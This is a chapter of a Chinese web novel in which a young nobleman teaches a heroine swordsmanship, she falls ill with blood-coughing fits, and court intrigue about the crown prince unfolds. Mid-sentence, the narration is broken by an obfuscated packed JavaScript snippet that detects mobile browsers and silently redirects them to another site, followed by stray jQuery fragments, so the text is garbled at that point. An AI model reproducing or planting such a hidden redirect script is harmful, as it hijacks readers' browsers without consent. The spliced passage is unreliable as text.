“沈大小姐，过来歇会儿。”


    楚璟南嘴里嚼着半个果子，手里拿着另外一半，歪歪扭扭地斜靠着石桌。


    有一搭没一搭的跟沈卿垚搭茬儿，时不时指挥者动作。


    “沈大小姐，你这么拿剑是想劈死自己吗？”


    “沈大小姐，手上用点力啊，你又不是去绣花的。”


    “沈大小姐，这剑挥得多少有点浮夸了吧。”


    “沈大小姐......”


    倏得，剑首直指他的鼻尖，堪堪停在面前的三分处。


    沈卿垚开口道：“烦不烦。”


    整整半日时光，他就坐在石桌旁好似生了根一样，动也不动一下。


    太阳晒过来了，随手就把她的披肩顶在头上。口渴了使唤完左一取水，又使唤清月洗果子。他自己倒好，啥也不用干，全身上下除了嘴之外就没有一处是精神的。


    “有你这么教人子弟的吗。”


    沈卿垚把手里的木剑往地下一插，抬手抹去额头上的汗珠，夺过楚璟南手里剩下的半个果子。


    不想手腕无力，一时没拿稳，果子“咕噜咕噜”地滚到了地上，沾了好些土粉。


    楚璟南见此，终于舍得动了动身子，弯下腰略微向前探手，把果子捡回了手里。轻轻吹去表面的尘土，顺手拿过桌上的披肩擦了几下。


    “你这样练剑，太过心急，学不好的。”


    “那到底要如何，还烦请楚公子明示。”


    沈卿垚一点一点地把楚璟南手中的披肩抽出，放到旁边的桌上。


    “楚公子可莫要忘了，答应过我的事。”


    楚璟南不慌不忙地咬下另外半个果子，咽下，又喝了口水，这才正眼去看沈卿垚。


    二人对视了好一会儿，楚璟南突然握上沈卿垚的手腕，稍一用力，沈卿垚便皱紧了眉头，往后缩了缩胳膊。


    “手腕尚且有力，只是用的方法不对。”


    他就这么捏着她的手腕，使了个巧劲儿站起身来，绕着她转了个圈，抽出左一的佩剑，站至女人身侧。


    “针和剑虽异曲同工，但细微处仍有差别。”


    “剑的精妙之处在于‘破’之一字，借风破风、借力破力，随心而动、自由自在。”


    他十指圈住她纤细的手腕，指腹微凉，带着些许未消散干净的果香，调整她握剑的姿势。


    同时，腰间也被一只手稳稳地扶住，男人温热的胸膛贴上她的半个身子。


    沈卿垚顿时浑身僵硬，手脚都不知该往哪里放。


    “放松，又不是第一次被我抱。”


    呼吸拂过耳畔，痒痒的，沈卿垚呼吸一滞，险些让剑脱手。


    “怎么了？”


    “没，没事”，沈卿垚僵硬地别过脑袋，错开男人的呼吸。


    手里生硬地挥出一道剑光，剑锋划过空气，软软地砸在地上。


    楚璟南挑眉道：“沈大小姐，你这力气，不行啊。”


    目光落在自己握着的却仍颤抖的手上，扶在腰间的手暗自运转起内力。


    源源不断地热意从腰上传来，手臂好似有人托着缓缓举起，经脉霎时间变得强劲有力。


    两人双手交叠，起势挥出，配合着身形的转动，行云流水般将一套剑法舞了下来。


    “沈大小姐，剑是这么练的，知道吗。”


    剑身转着在身侧挽出剑花，然后迅速收势，挥向一旁。


    待楚璟南的手落下，沈卿垚借着未散的力气，毫不犹豫地反手刺去，又快又狠。


    楚璟南斜起嘴角，飘然后退，躲过了这一剑。


    剑柄脱手，直直地甩出，嵌入十步外的树干上。


    “好剑。”


    楚璟南拍了两下手，从容地走去把剑拔了下来，插进剑鞘里。


    “把剑当银针扔，你还是第一个。”


    沈卿垚捡起自己丢在地上的木剑，道：“同是利器，无所谓使用之方。”


    “针如剑，剑亦如针，同一道理罢了。”


    形态各异，而万变不离其宗。


    器如此，人亦如此。


    虽处境变化，但她始终都是她，从不会因外界而改变。


    “你看的倒是通透。”


    楚璟南坐回桌旁，左一已经将膳房做的吃食摆好。


    沈卿垚径直走过石桌，清月跟在身后，进了小院。


    楚璟南探长脖子，问道：“你不吃饭了？”


    “不饿。”


    木门关上，沈卿垚松了一口气，背靠着门，慢慢坐了下来。


    “小姐，地上凉，铺个毯子再坐吧。”


    “不用了，我一个人静静。”


    清月见沈卿如垚兴致恹恹，很有眼色地找了借口离开。


    “好，那我去膳房把吃食热一热，再做些点心来。”


    “嗯。”


    屋子里只剩下她一个人了。


    沈卿垚伸出手，活动着手腕，虚空中握住某个物什似的，回想着刚刚舞剑的动作。


    不得不说，经楚辞这么手把手一带，她确实理解了他之前说的话。


    倘若当时，她会使剑，必不会落得一箭穿心的结果。


    “咳咳——”


    她突然捂住口，有血顺着手指流出。


    果然，一旦运转经脉，便会引发咳血之症。


    但其中因果，她尚未寻到。


    只是，同楚辞相处了几日，她发觉——越是靠近他，咳血发作的间隔之日就越短。


    他们之间仿佛有一条无形的线，紧紧地牵在一起。


    她怀疑他们二人的相遇，不是偶然的机缘，更像是......有人故意为之。


    “沈大小姐？”


    楚璟南来敲门了，“叶修珩带来了补气血的汤药，给你放门口了。”


    “替我谢谢师兄。”


    听着虚虚地声音，楚璟南又多敲了几下门，觉得有点不对劲，“你怎么了？”


    “沈大小姐？沈卿垚？”


    他拉开木门，蹲下接住了后倒下去的沈卿垚。


    捂在胸口的两手布满鲜血，下巴处还往下滴着血滴。


    沈卿垚闭了闭眼，强制压下嘴里的血腥之气。


    “今日十二，咳血发作，提前了三日。”


    楚璟南很快就猜到了缘由，“是因为我渡的内力。”


    她点头，还想再说些什么，只见楚璟南将她抱起放到榻上。


    “那之后的几日，我不渡内力便是。”


    本想以此法助她习剑，好起到事半功倍的效果，不想竟成了好心办坏事。


    他沉默着打来一盆清水，小心擦拭着她脸上的血污。


    半晌，他才开口，提起另外一事。


    “左一前几天去了一趟康乐村，患疫病的人都


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15454987|169262||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    好得差不多了。”


    “二丫前几日上山，入了千药峰，最近正和别的弟子一起打基础。”


    沈卿垚：“楚辞......”


    她只是想说，内力一事无需有所顾忌，这点反噬她还受得住。


    时间不等人，多练练总归是好的。


    无奈，楚璟南不给她说话的机会，又交代了一堆闲杂不甚重要的事情。


    絮絮叨叨，听得她脑壳疼。


    干脆两眼一闭，睡过去了，正好舒缓因气血翻涌引起的不适。


    “还有几位师兄师姐去四方云游......”


    楚璟南讲到这儿停下来看了沈卿垚一眼，见女人睡去，自觉闭了嘴。


    看着床头他提前放好的香灰，叹了口气，取走了香炉。


    “殿下，你不是说要给沈姑娘用吗，怎么又拿出来了。”


    “她用不上了。”


    原想着在下山之前，用此香让她完完全全地信任于他，他好安排下一步计划。


    眼下看来，她对他的信任比他预想的还要多。


    “太子那边最近有什么动静。”


    “没什么消息，但负责跟进入京事宜的穆勒因为突发隐疾病逝，换成了他的弟弟穆拓。”


    穆勒向来与太子走得近，连年税赋进贡，无一不是太子府一份、贞元帝一份。


    念在太子协理政务有功，贞元帝也是睁一只眼闭一只眼，不予过问。


    穆勒又是贪利之人，没有好处的事情绝对不会去掺和。


    想来定是知道了太子不为人所知的秘密，狮子大开口，讨利不成反被太子灭口。


    “他们到何处了？”


    “廿州城中，已经待了半月之久了，却仍未见官衙上报朝廷。”


    提前来楚不报，私下会见皇亲，目无规矩，不臣之心，昭然若揭。


    “不急。”


    楚璟南踱步院门外，“咱们慢慢陪他们玩。”


    他也很好奇，从这一团乱麻里能揪出多少个害群之流。


    *


    “修珩，守好千药峰，一切如旧，不必戒严。”


    “弟子明白。”


    叶苓放下面纱，遮住了面容。


    沈卿垚和楚璟南穿着门中弟子的服饰跟在身后。


    “师妹”，叶修珩叫住了沈卿垚。


    “师兄？”


    “拿着这个”，手里触到一个冰凉的物什，沈卿垚低头看去，是一柄细剑，分量比起之前练剑的那把轻了不少。


    “我听楚...楚辞说你拿剑费劲儿，就找门中会炼铁的弟子给你打了一把轻些的，拿着也方便。”


    “谢师兄关心，但这剑，我不能要。”


    沈卿垚把剑推了回去，“师兄曾对我多加照拂，我已是感激不尽，怎能再要他物。”


    “师兄，还是专心门中事务吧，别的不用多操心”，楚璟南上前拍拍叶修珩的肩膀，凑近了道，“师妹还有我照顾着呢。”


    “那你可别照顾着照顾着就成弟媳了。”


    “师兄，你想太多了。”


    楚璟南替沈卿垚把剑放回叶修珩手中，“走了”。


    “师兄，保重。”


    沈卿垚带着面纱，朝叶修珩挥挥手，上了马车。


    ......


    “怎么还没找到！不是说千药峰已经派人来了吗，人都哪去了？”